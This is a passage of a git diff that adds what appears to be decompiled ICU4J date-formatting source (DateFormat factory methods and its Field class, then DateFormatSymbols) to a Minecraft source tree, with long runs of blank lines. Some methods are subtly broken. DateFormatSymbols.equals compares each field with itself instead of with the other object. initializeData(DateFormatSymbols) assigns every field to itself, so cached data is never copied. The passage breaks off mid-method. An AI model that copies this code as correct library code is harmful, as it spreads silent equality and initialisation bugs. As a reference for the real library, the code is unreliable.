+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getTimeInstance(Calendar cal, int timeStyle, Locale locale)
+  {
+    return getDateTimeInstance(cal, -1, timeStyle, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getTimeInstance(Calendar cal, int timeStyle, ULocale locale)
+  {
+    return getDateTimeInstance(cal, -1, timeStyle, locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateTimeInstance(Calendar cal, int dateStyle, int timeStyle, Locale locale)
+  {
+    return cal.getDateTimeFormat(dateStyle, timeStyle, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getDateTimeInstance(Calendar cal, int dateStyle, int timeStyle, ULocale locale)
+  {
+    return cal.getDateTimeFormat(dateStyle, timeStyle, locale);
+  }
+  
+
+
+
+  public static final DateFormat getInstance(Calendar cal, Locale locale)
+  {
+    return getDateTimeInstance(cal, 3, 3, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+  public static final DateFormat getInstance(Calendar cal, ULocale locale)
+  {
+    return getDateTimeInstance(cal, 3, 3, locale);
+  }
+  
+
+
+
+  public static final DateFormat getInstance(Calendar cal)
+  {
+    return getInstance(cal, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+  public static final DateFormat getDateInstance(Calendar cal, int dateStyle)
+  {
+    return getDateInstance(cal, dateStyle, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+  public static final DateFormat getTimeInstance(Calendar cal, int timeStyle)
+  {
+    return getTimeInstance(cal, timeStyle, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+  public static final DateFormat getDateTimeInstance(Calendar cal, int dateStyle, int timeStyle)
+  {
+    return getDateTimeInstance(cal, dateStyle, timeStyle, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+  public static final DateFormat getPatternInstance(String skeleton)
+  {
+    return getPatternInstance(skeleton, ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+  public static final DateFormat getPatternInstance(String skeleton, Locale locale)
+  {
+    return getPatternInstance(skeleton, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getPatternInstance(String skeleton, ULocale locale)
+  {
+    DateTimePatternGenerator generator = DateTimePatternGenerator.getInstance(locale);
+    String bestPattern = generator.getBestPattern(skeleton);
+    return new SimpleDateFormat(bestPattern, locale);
+  }
+  
+
+
+
+  public static final DateFormat getPatternInstance(Calendar cal, String skeleton, Locale locale)
+  {
+    return getPatternInstance(cal, skeleton, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static final DateFormat getPatternInstance(Calendar cal, String skeleton, ULocale locale)
+  {
+    DateTimePatternGenerator generator = DateTimePatternGenerator.getInstance(locale);
+    String bestPattern = generator.getBestPattern(skeleton);
+    SimpleDateFormat format = new SimpleDateFormat(bestPattern, locale);
+    format.setCalendar(cal);
+    return format;
+  }
+  
+
+
+
+
+
+
+  public static class Field
+    extends Format.Field
+  {
+    private static final long serialVersionUID = -3627456821000730829L;
+    
+
+
+
+
+    private static final int CAL_FIELD_COUNT;
+    
+
+
+
+
+
+    static
+    {
+      GregorianCalendar cal = new GregorianCalendar();
+      CAL_FIELD_COUNT = cal.getFieldCount(); }
+    private static final Field[] CAL_FIELDS = new Field[CAL_FIELD_COUNT];
+    private static final Map<String, Field> FIELD_NAME_MAP = new HashMap(CAL_FIELD_COUNT);
+    
+
+
+
+
+
+
+
+    public static final Field AM_PM = new Field("am pm", 9);
+    
+
+
+
+
+    public static final Field DAY_OF_MONTH = new Field("day of month", 5);
+    
+
+
+
+
+    public static final Field DAY_OF_WEEK = new Field("day of week", 7);
+    
+
+
+
+
+    public static final Field DAY_OF_WEEK_IN_MONTH = new Field("day of week in month", 8);
+    
+
+
+
+
+
+    public static final Field DAY_OF_YEAR = new Field("day of year", 6);
+    
+
+
+
+
+    public static final Field ERA = new Field("era", 0);
+    
+
+
+
+
+    public static final Field HOUR_OF_DAY0 = new Field("hour of day", 11);
+    
+
+
+
+
+    public static final Field HOUR_OF_DAY1 = new Field("hour of day 1", -1);
+    
+
+
+
+
+    public static final Field HOUR0 = new Field("hour", 10);
+    
+
+
+
+
+    public static final Field HOUR1 = new Field("hour 1", -1);
+    
+
+
+
+
+    public static final Field MILLISECOND = new Field("millisecond", 14);
+    
+
+
+
+
+    public static final Field MINUTE = new Field("minute", 12);
+    
+
+
+
+
+    public static final Field MONTH = new Field("month", 2);
+    
+
+
+
+
+    public static final Field SECOND = new Field("second", 13);
+    
+
+
+
+
+    public static final Field TIME_ZONE = new Field("time zone", -1);
+    
+
+
+
+
+    public static final Field WEEK_OF_MONTH = new Field("week of month", 4);
+    
+
+
+
+
+
+    public static final Field WEEK_OF_YEAR = new Field("week of year", 3);
+    
+
+
+
+
+    public static final Field YEAR = new Field("year", 1);
+    
+
+
+
+
+
+
+
+    public static final Field DOW_LOCAL = new Field("local day of week", 18);
+    
+
+
+
+
+    public static final Field EXTENDED_YEAR = new Field("extended year", 19);
+    
+
+
+
+
+
+    public static final Field JULIAN_DAY = new Field("Julian day", 20);
+    
+
+
+
+
+    public static final Field MILLISECONDS_IN_DAY = new Field("milliseconds in day", 21);
+    
+
+
+
+
+
+    public static final Field YEAR_WOY = new Field("year for week of year", 17);
+    
+
+
+
+
+    public static final Field QUARTER = new Field("quarter", -1);
+    
+
+
+
+
+
+
+
+
+
+
+    private final int calendarField;
+    
+
+
+
+
+
+
+
+
+
+
+    protected Field(String name, int calendarField)
+    {
+      super();
+      this.calendarField = calendarField;
+      if (getClass() == Field.class) {
+        FIELD_NAME_MAP.put(name, this);
+        if ((calendarField >= 0) && (calendarField < CAL_FIELD_COUNT)) {
+          CAL_FIELDS[calendarField] = this;
+        }
+      }
+    }
+    
+
+
+
+
+
+
+
+
+
+
+
+
+    public static Field ofCalendarField(int calendarField)
+    {
+      if ((calendarField < 0) || (calendarField >= CAL_FIELD_COUNT)) {
+        throw new IllegalArgumentException("Calendar field number is out of range");
+      }
+      return CAL_FIELDS[calendarField];
+    }
+    
+
+
+
+
+
+
+
+
+    public int getCalendarField()
+    {
+      return calendarField;
+    }
+    
+
+
+
+
+
+
+    protected Object readResolve()
+      throws InvalidObjectException
+    {
+      if (getClass() != Field.class) {
+        throw new InvalidObjectException("A subclass of DateFormat.Field must implement readResolve.");
+      }
+      
+
+      Object o = FIELD_NAME_MAP.get(getName());
+      
+      if (o == null) {
+        throw new InvalidObjectException("Unknown attribute name.");
+      }
+      
+      return o;
+    }
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/DateFormatSymbols.java b/src/minecraft/com/ibm/icu/text/DateFormatSymbols.java
new file mode 100644
index 0000000..128ad82
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/DateFormatSymbols.java
@@ -0,0 +1,1831 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.CalendarData;
+import com.ibm.icu.impl.CalendarUtil;
+import com.ibm.icu.impl.ICUCache;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.SimpleCache;
+import com.ibm.icu.impl.Utility;
+import com.ibm.icu.util.Calendar;
+import com.ibm.icu.util.TimeZone;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.ULocale.Type;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.Serializable;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.MissingResourceException;
+import java.util.ResourceBundle;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class DateFormatSymbols
+  implements Serializable, Cloneable
+{
+  public static final int FORMAT = 0;
+  public static final int STANDALONE = 1;
+  /**
+   * @deprecated
+   */
+  public static final int DT_CONTEXT_COUNT = 2;
+  public static final int ABBREVIATED = 0;
+  public static final int WIDE = 1;
+  public static final int NARROW = 2;
+  public static final int SHORT = 3;
+  /**
+   * @deprecated
+   */
+  public static final int DT_WIDTH_COUNT = 4;
+  static final int DT_LEAP_MONTH_PATTERN_FORMAT_WIDE = 0;
+  static final int DT_LEAP_MONTH_PATTERN_FORMAT_ABBREV = 1;
+  static final int DT_LEAP_MONTH_PATTERN_FORMAT_NARROW = 2;
+  static final int DT_LEAP_MONTH_PATTERN_STANDALONE_WIDE = 3;
+  static final int DT_LEAP_MONTH_PATTERN_STANDALONE_ABBREV = 4;
+  static final int DT_LEAP_MONTH_PATTERN_STANDALONE_NARROW = 5;
+  static final int DT_LEAP_MONTH_PATTERN_NUMERIC = 6;
+  static final int DT_MONTH_PATTERN_COUNT = 7;
+  
+  public DateFormatSymbols()
+  {
+    this(ULocale.getDefault(ULocale.Category.FORMAT));
+  }
+  
+
+
+
+
+
+
+
+
+  public DateFormatSymbols(Locale locale)
+  {
+    this(ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+  public DateFormatSymbols(ULocale locale)
+  {
+    initializeData(locale, CalendarUtil.getCalendarType(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public static DateFormatSymbols getInstance()
+  {
+    return new DateFormatSymbols();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static DateFormatSymbols getInstance(Locale locale)
+  {
+    return new DateFormatSymbols(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public static DateFormatSymbols getInstance(ULocale locale)
+  {
+    return new DateFormatSymbols(locale);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public static Locale[] getAvailableLocales()
+  {
+    return ICUResourceBundle.getAvailableLocales();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static ULocale[] getAvailableULocales()
+  {
+    return ICUResourceBundle.getAvailableULocales();
+  }
+  
+
+
+
+
+
+  String[] eras = null;
+  
+
+
+
+
+
+  String[] eraNames = null;
+  
+
+
+
+
+
+  String[] narrowEras = null;
+  
+
+
+
+
+
+
+  String[] months = null;
+  
+
+
+
+
+
+
+
+  String[] shortMonths = null;
+  
+
+
+
+
+
+
+
+  String[] narrowMonths = null;
+  
+
+
+
+
+
+
+  String[] standaloneMonths = null;
+  
+
+
+
+
+
+
+
+  String[] standaloneShortMonths = null;
+  
+
+
+
+
+
+
+
+  String[] standaloneNarrowMonths = null;
+  
+
+
+
+
+
+
+
+  String[] weekdays = null;
+  
+
+
+
+
+
+
+
+
+  String[] shortWeekdays = null;
+  
+
+
+
+
+
+
+
+
+  String[] shorterWeekdays = null;
+  
+
+
+
+
+
+
+
+  String[] narrowWeekdays = null;
+  
+
+
+
+
+
+
+
+  String[] standaloneWeekdays = null;
+  
+
+
+
+
+
+
+
+
+  String[] standaloneShortWeekdays = null;
+  
+
+
+
+
+
+
+
+
+  String[] standaloneShorterWeekdays = null;
+  
+
+
+
+
+
+
+
+  String[] standaloneNarrowWeekdays = null;
+  
+
+
+
+
+
+
+  String[] ampms = null;
+  
+
+
+
+
+
+  String[] shortQuarters = null;
+  
+
+
+
+
+
+  String[] quarters = null;
+  
+
+
+
+
+
+  String[] standaloneShortQuarters = null;
+  
+
+
+
+
+
+  String[] standaloneQuarters = null;
+  
+
+
+
+
+
+  String[] leapMonthPatterns = null;
+  
+
+
+
+
+
+  String[] shortYearNames = null;
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private String[][] zoneStrings = (String[][])null;
+  
+
+
+
+
+
+
+
+  static final String patternChars = "GyMdkHmsSEDFwWahKzYeugAZvcLQqVUOXx";
+  
+
+
+
+
+
+
+
+  String localPatternChars = null;
+  
+
+  private static final long serialVersionUID = -5987973545549424702L;
+  
+  private static final String[][] CALENDAR_CLASSES = { { "GregorianCalendar", "gregorian" }, { "JapaneseCalendar", "japanese" }, { "BuddhistCalendar", "buddhist" }, { "TaiwanCalendar", "roc" }, { "PersianCalendar", "persian" }, { "IslamicCalendar", "islamic" }, { "HebrewCalendar", "hebrew" }, { "ChineseCalendar", "chinese" }, { "IndianCalendar", "indian" }, { "CopticCalendar", "coptic" }, { "EthiopicCalendar", "ethiopic" } };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  static enum CapitalizationContextUsage
+  {
+    OTHER, 
+    MONTH_FORMAT, 
+    MONTH_STANDALONE, 
+    MONTH_NARROW, 
+    DAY_FORMAT, 
+    DAY_STANDALONE, 
+    DAY_NARROW, 
+    ERA_WIDE, 
+    ERA_ABBREV, 
+    ERA_NARROW, 
+    ZONE_LONG, 
+    ZONE_SHORT, 
+    METAZONE_LONG, 
+    METAZONE_SHORT;
+    
+
+    private CapitalizationContextUsage() {}
+  }
+  
+
+  private static final Map<String, CapitalizationContextUsage> contextUsageTypeMap = new HashMap();
+  static { contextUsageTypeMap.put("month-format-except-narrow", CapitalizationContextUsage.MONTH_FORMAT);
+    contextUsageTypeMap.put("month-standalone-except-narrow", CapitalizationContextUsage.MONTH_STANDALONE);
+    contextUsageTypeMap.put("month-narrow", CapitalizationContextUsage.MONTH_NARROW);
+    contextUsageTypeMap.put("day-format-except-narrow", CapitalizationContextUsage.DAY_FORMAT);
+    contextUsageTypeMap.put("day-standalone-except-narrow", CapitalizationContextUsage.DAY_STANDALONE);
+    contextUsageTypeMap.put("day-narrow", CapitalizationContextUsage.DAY_NARROW);
+    contextUsageTypeMap.put("era-name", CapitalizationContextUsage.ERA_WIDE);
+    contextUsageTypeMap.put("era-abbr", CapitalizationContextUsage.ERA_ABBREV);
+    contextUsageTypeMap.put("era-narrow", CapitalizationContextUsage.ERA_NARROW);
+    contextUsageTypeMap.put("zone-long", CapitalizationContextUsage.ZONE_LONG);
+    contextUsageTypeMap.put("zone-short", CapitalizationContextUsage.ZONE_SHORT);
+    contextUsageTypeMap.put("metazone-long", CapitalizationContextUsage.METAZONE_LONG);
+    contextUsageTypeMap.put("metazone-short", CapitalizationContextUsage.METAZONE_SHORT);
+  }
+  
+
+
+
+
+
+
+  Map<CapitalizationContextUsage, boolean[]> capitalization = null;
+  
+
+  static final int millisPerHour = 3600000;
+  
+
+  public String[] getEras()
+  {
+    return duplicate(eras);
+  }
+  
+
+
+
+
+  public void setEras(String[] newEras)
+  {
+    eras = duplicate(newEras);
+  }
+  
+
+
+
+
+  public String[] getEraNames()
+  {
+    return duplicate(eraNames);
+  }
+  
+
+
+
+
+  public void setEraNames(String[] newEraNames)
+  {
+    eraNames = duplicate(newEraNames);
+  }
+  
+
+
+
+
+  public String[] getMonths()
+  {
+    return duplicate(months);
+  }
+  
+
+
+
+
+
+
+
+  public String[] getMonths(int context, int width)
+  {
+    String[] returnValue = null;
+    switch (context) {
+    case 0: 
+      switch (width) {
+      case 1: 
+        returnValue = months;
+        break;
+      case 0: 
+      case 3: 
+        returnValue = shortMonths;
+        break;
+      case 2: 
+        returnValue = narrowMonths;
+      }
+      
+      break;
+    case 1: 
+      switch (width) {
+      case 1: 
+        returnValue = standaloneMonths;
+        break;
+      case 0: 
+      case 3: 
+        returnValue = standaloneShortMonths;
+        break;
+      case 2: 
+        returnValue = standaloneNarrowMonths;
+      }
+      
+      break;
+    }
+    return duplicate(returnValue);
+  }
+  
+
+
+
+
+  public void setMonths(String[] newMonths)
+  {
+    months = duplicate(newMonths);
+  }
+  
+
+
+
+
+
+
+
+  public void setMonths(String[] newMonths, int context, int width)
+  {
+    switch (context) {
+    case 0: 
+      switch (width) {
+      case 1: 
+        months = duplicate(newMonths);
+        break;
+      case 0: 
+        shortMonths = duplicate(newMonths);
+        break;
+      case 2: 
+        narrowMonths = duplicate(newMonths);
+      }
+      
+      break;
+    
+
+    case 1: 
+      switch (width) {
+      case 1: 
+        standaloneMonths = duplicate(newMonths);
+        break;
+      case 0: 
+        standaloneShortMonths = duplicate(newMonths);
+        break;
+      case 2: 
+        standaloneNarrowMonths = duplicate(newMonths); }
+      break;
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public String[] getShortMonths()
+  {
+    return duplicate(shortMonths);
+  }
+  
+
+
+
+
+  public void setShortMonths(String[] newShortMonths)
+  {
+    shortMonths = duplicate(newShortMonths);
+  }
+  
+
+
+
+
+
+  public String[] getWeekdays()
+  {
+    return duplicate(weekdays);
+  }
+  
+
+
+
+
+
+
+
+
+  public String[] getWeekdays(int context, int width)
+  {
+    String[] returnValue = null;
+    switch (context) {
+    case 0: 
+      switch (width) {
+      case 1: 
+        returnValue = weekdays;
+        break;
+      case 0: 
+        returnValue = shortWeekdays;
+        break;
+      case 3: 
+        returnValue = shorterWeekdays != null ? shorterWeekdays : shortWeekdays;
+        break;
+      case 2: 
+        returnValue = narrowWeekdays;
+      }
+      
+      break;
+    case 1: 
+      switch (width) {
+      case 1: 
+        returnValue = standaloneWeekdays;
+        break;
+      case 0: 
+        returnValue = standaloneShortWeekdays;
+        break;
+      case 3: 
+        returnValue = standaloneShorterWeekdays != null ? standaloneShorterWeekdays : standaloneShortWeekdays;
+        break;
+      case 2: 
+        returnValue = standaloneNarrowWeekdays;
+      }
+      
+      break;
+    }
+    return duplicate(returnValue);
+  }
+  
+
+
+
+
+
+
+
+  public void setWeekdays(String[] newWeekdays, int context, int width)
+  {
+    switch (context) {
+    case 0: 
+      switch (width) {
+      case 1: 
+        weekdays = duplicate(newWeekdays);
+        break;
+      case 0: 
+        shortWeekdays = duplicate(newWeekdays);
+        break;
+      case 3: 
+        shorterWeekdays = duplicate(newWeekdays);
+        break;
+      case 2: 
+        narrowWeekdays = duplicate(newWeekdays);
+      }
+      
+      break;
+    case 1: 
+      switch (width) {
+      case 1: 
+        standaloneWeekdays = duplicate(newWeekdays);
+        break;
+      case 0: 
+        standaloneShortWeekdays = duplicate(newWeekdays);
+        break;
+      case 3: 
+        standaloneShorterWeekdays = duplicate(newWeekdays);
+        break;
+      case 2: 
+        standaloneNarrowWeekdays = duplicate(newWeekdays);
+      }
+      
+      
+
+
+      break;
+    }
+    
+  }
+  
+
+
+  public void setWeekdays(String[] newWeekdays)
+  {
+    weekdays = duplicate(newWeekdays);
+  }
+  
+
+
+
+
+
+
+
+  public String[] getShortWeekdays()
+  {
+    return duplicate(shortWeekdays);
+  }
+  
+
+
+
+
+
+
+
+
+  public void setShortWeekdays(String[] newAbbrevWeekdays)
+  {
+    shortWeekdays = duplicate(newAbbrevWeekdays);
+  }
+  
+
+
+
+
+
+
+  public String[] getQuarters(int context, int width)
+  {
+    String[] returnValue = null;
+    switch (context) {
+    case 0: 
+      switch (width) {
+      case 1: 
+        returnValue = quarters;
+        break;
+      case 0: 
+      case 3: 
+        returnValue = shortQuarters;
+        break;
+      case 2: 
+        returnValue = null;
+      }
+      
+      break;
+    
+    case 1: 
+      switch (width) {
+      case 1: 
+        returnValue = standaloneQuarters;
+        break;
+      case 0: 
+      case 3: 
+        returnValue = standaloneShortQuarters;
+        break;
+      case 2: 
+        returnValue = null;
+      }
+      
+      break;
+    }
+    return duplicate(returnValue);
+  }
+  
+
+
+
+
+
+
+
+  public void setQuarters(String[] newQuarters, int context, int width)
+  {
+    switch (context) {
+    case 0: 
+      switch (width) {
+      case 1: 
+        quarters = duplicate(newQuarters);
+        break;
+      case 0: 
+        shortQuarters = duplicate(newQuarters);
+        break;
+      case 2: 
+        
+      }
+      
+      break;
+    
+
+    case 1: 
+      switch (width) {
+      case 1: 
+        standaloneQuarters = duplicate(newQuarters);
+        break;
+      case 0: 
+        standaloneShortQuarters = duplicate(newQuarters);
+      }
+      
+      
+      break;
+    }
+    
+  }
+  
+
+
+
+
+
+
+
+  public String[] getAmPmStrings()
+  {
+    return duplicate(ampms);
+  }
+  
+
+
+
+
+  public void setAmPmStrings(String[] newAmpms)
+  {
+    ampms = duplicate(newAmpms);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public String[][] getZoneStrings()
+  {
+    if (zoneStrings != null) {
+      return duplicate(zoneStrings);
+    }
+    
+    String[] tzIDs = TimeZone.getAvailableIDs();
+    TimeZoneNames tznames = TimeZoneNames.getInstance(validLocale);
+    long now = System.currentTimeMillis();
+    String[][] array = new String[tzIDs.length][5];
+    for (int i = 0; i < tzIDs.length; i++) {
+      String canonicalID = TimeZone.getCanonicalID(tzIDs[i]);
+      if (canonicalID == null) {
+        canonicalID = tzIDs[i];
+      }
+      
+      array[i][0] = tzIDs[i];
+      array[i][1] = tznames.getDisplayName(canonicalID, TimeZoneNames.NameType.LONG_STANDARD, now);
+      array[i][2] = tznames.getDisplayName(canonicalID, TimeZoneNames.NameType.SHORT_STANDARD, now);
+      array[i][3] = tznames.getDisplayName(canonicalID, TimeZoneNames.NameType.LONG_DAYLIGHT, now);
+      array[i][4] = tznames.getDisplayName(canonicalID, TimeZoneNames.NameType.SHORT_DAYLIGHT, now);
+    }
+    
+    zoneStrings = array;
+    return zoneStrings;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public void setZoneStrings(String[][] newZoneStrings)
+  {
+    zoneStrings = duplicate(newZoneStrings);
+  }
+  
+
+
+
+
+
+
+
+
+  public String getLocalPatternChars()
+  {
+    return localPatternChars;
+  }
+  
+
+
+
+
+
+  public void setLocalPatternChars(String newLocalPatternChars)
+  {
+    localPatternChars = newLocalPatternChars;
+  }
+  
+
+
+
+  public Object clone()
+  {
+    try
+    {
+      return (DateFormatSymbols)super.clone();
+    }
+    catch (CloneNotSupportedException e)
+    {
+      throw new IllegalStateException();
+    }
+  }
+  
+
+
+
+
+
+
+  public int hashCode()
+  {
+    return requestedLocale.toString().hashCode();
+  }
+  
+
+
+
+
+  public boolean equals(Object obj)
+  {
+    if (this == obj) return true;
+    if ((obj == null) || (getClass() != obj.getClass())) return false;
+    DateFormatSymbols that = (DateFormatSymbols)obj;
+    return (Utility.arrayEquals(eras, eras)) && (Utility.arrayEquals(eraNames, eraNames)) && (Utility.arrayEquals(months, months)) && (Utility.arrayEquals(shortMonths, shortMonths)) && (Utility.arrayEquals(narrowMonths, narrowMonths)) && (Utility.arrayEquals(standaloneMonths, standaloneMonths)) && (Utility.arrayEquals(standaloneShortMonths, standaloneShortMonths)) && (Utility.arrayEquals(standaloneNarrowMonths, standaloneNarrowMonths)) && (Utility.arrayEquals(weekdays, weekdays)) && (Utility.arrayEquals(shortWeekdays, shortWeekdays)) && (Utility.arrayEquals(shorterWeekdays, shorterWeekdays)) && (Utility.arrayEquals(narrowWeekdays, narrowWeekdays)) && (Utility.arrayEquals(standaloneWeekdays, standaloneWeekdays)) && (Utility.arrayEquals(standaloneShortWeekdays, standaloneShortWeekdays)) && (Utility.arrayEquals(standaloneShorterWeekdays, standaloneShorterWeekdays)) && (Utility.arrayEquals(standaloneNarrowWeekdays, standaloneNarrowWeekdays)) && (Utility.arrayEquals(ampms, ampms)) && (arrayOfArrayEquals(zoneStrings, zoneStrings)) && (requestedLocale.getDisplayName().equals(requestedLocale.getDisplayName())) && (Utility.arrayEquals(localPatternChars, localPatternChars));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private static ICUCache<String, DateFormatSymbols> DFSCACHE = new SimpleCache();
+  
+
+  private ULocale requestedLocale;
+  
+
+  private ULocale validLocale;
+  
+  private ULocale actualLocale;
+  
+
+  protected void initializeData(ULocale desiredLocale, String type)
+  {
+    String key = desiredLocale.getBaseName() + "+" + type;
+    DateFormatSymbols dfs = (DateFormatSymbols)DFSCACHE.get(key);
+    if (dfs == null)
+    {
+      CalendarData calData = new CalendarData(desiredLocale, type);
+      initializeData(desiredLocale, calData);
+      
+      if (getClass().getName().equals("com.ibm.icu.text.DateFormatSymbols")) {
+        dfs = (DateFormatSymbols)clone();
+        DFSCACHE.put(key, dfs);
+      }
+    } else {
+      initializeData(dfs);
+    }
+  }
+  
+
+
+
+
+  void initializeData(DateFormatSymbols dfs)
+  {
+    eras = eras;
+    eraNames = eraNames;
+    narrowEras = narrowEras;
+    months = months;
+    shortMonths = shortMonths;
+    narrowMonths = narrowMonths;
+    standaloneMonths = standaloneMonths;
+    standaloneShortMonths = standaloneShortMonths;
+    standaloneNarrowMonths = standaloneNarrowMonths;
+    weekdays = weekdays;
+    shortWeekdays = shortWeekdays;
+    shorterWeekdays = shorterWeekdays;
+    narrowWeekdays = narrowWeekdays;
+    standaloneWeekdays = standaloneWeekdays;
+    standaloneShortWeekdays = standaloneShortWeekdays;
+    standaloneShorterWeekdays = standaloneShorterWeekdays;
+    standaloneNarrowWeekdays = standaloneNarrowWeekdays;
+    ampms = ampms;
+    shortQuarters = shortQuarters;
+    quarters = quarters;
+    standaloneShortQuarters = standaloneShortQuarters;
+    standaloneQuarters = standaloneQuarters;
+    leapMonthPatterns = leapMonthPatterns;
+    shortYearNames = shortYearNames;
+    
+    zoneStrings = zoneStrings;
+    localPatternChars = localPatternChars;
+    
+    capitalization = capitalization;
+    
+    actualLocale = actualLocale;
+    validLocale = validLocale;
+    requestedLocale = requestedLocale;
+  }
+  
+
+
+
+
+
+
+
+
+  /**
+   * @deprecated
+   */
+  protected void initializeData(ULocale desiredLocale, CalendarData calData)
+  {
+    eras = calData.getEras("abbreviated");
+    
+    eraNames = calData.getEras("wide");
+    
+    narrowEras = calData.getEras("narrow");
+    
+    months = calData.getStringArray("monthNames", "wide");
+    shortMonths = calData.getStringArray("monthNames", "abbreviated");
+    narrowMonths = calData.getStringArray("monthNames", "narrow");
+    
+    standaloneMonths = calData.getStringArray("monthNames", "stand-alone", "wide");
+    standaloneShortMonths = calData.getStringArray("monthNames", "stand-alone", "abbreviated");
+    standaloneNarrowMonths = calData.getStringArray("monthNames", "stand-alone", "narrow");
+    
+    String[] lWeekdays = calData.getStringArray("dayNames", "wide");
+    weekdays = new String[8];
+    weekdays[0] = "";
+    System.arraycopy(lWeekdays, 0, weekdays, 1, lWeekdays.length);
+    
+    String[] aWeekdays = calData.getStringArray("dayNames", "abbreviated");
+    shortWeekdays = new String[8];
+    shortWeekdays[0] = "";
+    System.arraycopy(aWeekdays, 0, shortWeekdays, 1, aWeekdays.length);
+    
+    String[] sWeekdays = calData.getStringArray("dayNames", "short");
+    shorterWeekdays = new String[8];
+    shorterWeekdays[0] = "";
+    System.arraycopy(sWeekdays, 0, shorterWeekdays, 1, sWeekdays.length);
+    
+    String[] nWeekdays = null;
+    try {
+      nWeekdays = calData.getStringArray("dayNames", "narrow");
+    }
+    catch (MissingResourceException e) {
+      try {
+        nWeekdays = calData.getStringArray("dayNames", "stand-alone", "narrow");
+      }
+      catch (MissingResourceException e1) {
+        nWeekdays = calData.getStringArray("dayNames", "abbreviated");
+      }
+    }
+    narrowWeekdays = new String[8];
+    narrowWeekdays[0] = "";
+    System.arraycopy(nWeekdays, 0, narrowWeekdays, 1, nWeekdays.length);
+    
+    String[] swWeekdays = null;
+    swWeekdays = calData.getStringArray("dayNames", "stand-alone", "wide");
+    standaloneWeekdays = new String[8];
+    standaloneWeekdays[0] = "";
+    System.arraycopy(swWeekdays, 0, standaloneWeekdays, 1, swWeekdays.length);
+    
+    String[] saWeekdays = null;
+    saWeekdays = calData.getStringArray("dayNames", "stand-alone", "abbreviated");
+    standaloneShortWeekdays = new String[8];
+    standaloneShortWeekdays[0] = "";
+    System.arraycopy(saWeekdays, 0, standaloneShortWeekdays, 1, saWeekdays.length);
+    
+    String[] ssWeekdays = null;
+    ssWeekdays = calData.getStringArray("dayNames", "stand-alone", "short");
+    standaloneShorterWeekdays = new String[8];
+    standaloneShorterWeekdays[0] = "";
+    System.arraycopy(ssWeekdays, 0, standaloneShorterWeekdays, 1, ssWeekdays.length);
+    
+    String[] snWeekdays = null;
+    snWeekdays = calData.getStringArray("dayNames", "stand-alone", "narrow");
+    standaloneNarrowWeekdays = new String[8];
+    standaloneNarrowWeekdays[0] = "";
+    System.arraycopy(snWeekdays, 0, standaloneNarrowWeekdays, 1, snWeekdays.length);
+    
+    ampms = calData.getStringArray("AmPmMarkers");
+    
+    quarters = calData.getStringArray("quarters", "wide");
+    shortQuarters = calData.getStringArray("quarters", "abbreviated");
+    
+    standaloneQuarters = calData.getStringArray("quarters", "stand-alone", "wide");
+    standaloneShortQuarters = calData.getStringArray("quarters", "stand-alone", "abbreviated");
+    
+
+
+    ICUResourceBundle monthPatternsBundle = null;
+    try {
+      monthPatternsBundle = calData.get("monthPatterns");
+    }
+    catch (MissingResourceException e) {
+      monthPatternsBundle = null;
+    }
+    if (monthPatternsBundle != null) {
+      leapMonthPatterns = new String[7];
+      leapMonthPatterns[0] = calData.get("monthPatterns", "wide").get("leap").getString();
+      leapMonthPatterns[1] = calData.get("monthPatterns", "abbreviated").get("leap").getString();
+      leapMonthPatterns[2] = calData.get("monthPatterns", "narrow").get("leap").getString();
